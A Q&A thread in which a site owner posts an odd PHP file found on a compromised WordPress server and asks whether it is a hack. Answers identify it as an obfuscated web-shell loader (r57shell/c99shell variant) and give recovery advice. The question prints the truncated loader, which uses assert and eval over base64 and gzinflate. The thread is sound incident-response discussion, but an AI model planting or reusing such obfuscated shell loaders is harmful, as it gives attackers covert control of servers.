1

Found an odd file we didn't create in one of our directories.

It was named ".moreinfoege.php.KJt" In the directory we also had a file called moreinfo.php

We've been having server issues lately (WordPress hacks, DDoS attack) so we're obv on high alert for other infiltrations. Is this a hack? What are some of the ways it could have gotten in?

Here's what its contents looked like (long gibberish string abbreviated to fit here):

<?php $IRdphe='as';$lgOULt='e';$UXkpWY=$IRdphe.'s'.$lgOULt.'r'.'t';$kOUHAp='b'.$IRdphe.$lgOULt.(64).'_'.'d'.$lgOULt.'c'.'o'.'d'.$lgOULt;@$UXkpWY(@$kOUHAp('ZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgiNWIzcGVsczNzaTc4TzNtZTNNUHlNcnNwZFNocXNHekhsRVVQa3B6NHRHeTVMYVhUT1pJUFEzR1EyT0xVSEN3NzNqblgvcjF2VlFFTElCYzEyRW4zMmZ2eklKRVlDb1ZDb1ZBb0ZBcWQ5bEpuUEc1TmxncTF0M3QvKzNIdjhPaTQrT3JYUnJ2MTl1Zk85NzNpdStYbFQxK1BXK054WjlDdmpTZjEwV1JwZWV2clRudXAxN3lQS204T1dQNm9jL2pYNGNIYlYyYy9vdnoyZHZGQi9XSDkvb1BUK3c4ZWJkNXJ0dGVhemMzNzdYWmpyZG5ZYkt6Zng0L2k4dGVmQ3JYRHZjUERsd2V2ajR0L3ZmaGYzYmQvTzJ0L2VOYi82ZS9EOFVIenhmOCtQVy84OEhxMGU3Zy8yWnYrV255M3ZiNzFHeHU5YzZ0YXdIdzQ2dlFuU2ZxNDJYbWZqQ2NmdTYzdDRuQXc3a3pRbTByOWREem9UaWV0clc2 [...] lY1V281TlEvZUhIMDB6Tld4L0hmb1RTTjg1d0liV3VKVWJPazFCdGNOOGtyOE9iZzdSSGZFWkFyUjRZenFCYnlSTHJGVTUrdDMvNC8iKSkpOw==')); ?>
6
  • I'd say it definitely looks like a hack...
    – David Z
    Dec 22, 2009 at 8:47
  • can you post to pastebin.com or somewhere else whole file?
    – pQd
    Dec 22, 2009 at 9:44
  • Seems like base64 encoding values of a payload, you've certainly been hacked. As asked by pQd, can you post the whole thing somewhere?
    – Maxwell
    Dec 22, 2009 at 10:24
  • Looks like the "ZXZhbChn..." part is base64 encoded. And I agree with David, sure looks like a "crackers" tool..
    – rkthkr
    Dec 22, 2009 at 13:06
  • I'd love to see the whole file somewhere.
    – Bill Weiss
    Dec 22, 2009 at 16:06

3 Answers 3

5

The code is hiding that fact that it is doing assert(base64_decode( of the text from 'ZXZ to W=='.

The decoding of that text shows another strings which is doing another decode and decompression starting with eval(gzinflate(base64_decode("5b3pe...

Without the full code posted, I can't see what is at the end of the rabbit hole. You can use this site to decode each step:

http://www.webutils.pl/index.php?idx=base64 (NOTE: The text goes in the blue box.)

This link should help on the second part: http://www.tareeinternet.com/scripts/decrypt.php

UPDATE: Based on the complete file, this appears to be a variant of r57shell or c99shell. It provides a web interface into your server to do things such as performing command line operations and interacting with SQL data.

This site has an example of what it looks like: http://phpsecurity.wordpress.com/2007/11/08/what-does-a-phpshell-look-like/

This site has a blog post by someone who has also had the problem: http://basus.net/?p=19

1
  • Here's the full file: bit.ly/7OnqqN
    – sbuck
    Dec 26, 2009 at 1:59
4

It looks like PHP that's base64-encoded to make it harder to figure out what's going on - but it's hard to tell without access to both files in question. I'd be willing to bet large quantities of chocolate that your host is still compromised.

Depending on what kind of access the attackers managed to obtain previously and how you recovered from it, there may be access methods left behind.

I recommend you begin your recovery procedure - installing a new OS and restoring your website from a known good copy.

0

looks like a hack. one of recently popular ways of getting this sort of files is via ftp.

there is plenty of trojans capturing passwords from popular windows ftp clients [ eg total commander ]. credentials are reported to control nodes which either directly or from other infected machines append malicious js / php code to index file, upload malicious .htaccess files etc.

check creation date of the file, try talking with your hosting provider to get ftp logs around time when this file was uploaded.

to be on the safe side... - if it's wordpress - backup data, and code; remove all php files, review all templates, restore app from fresh version.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .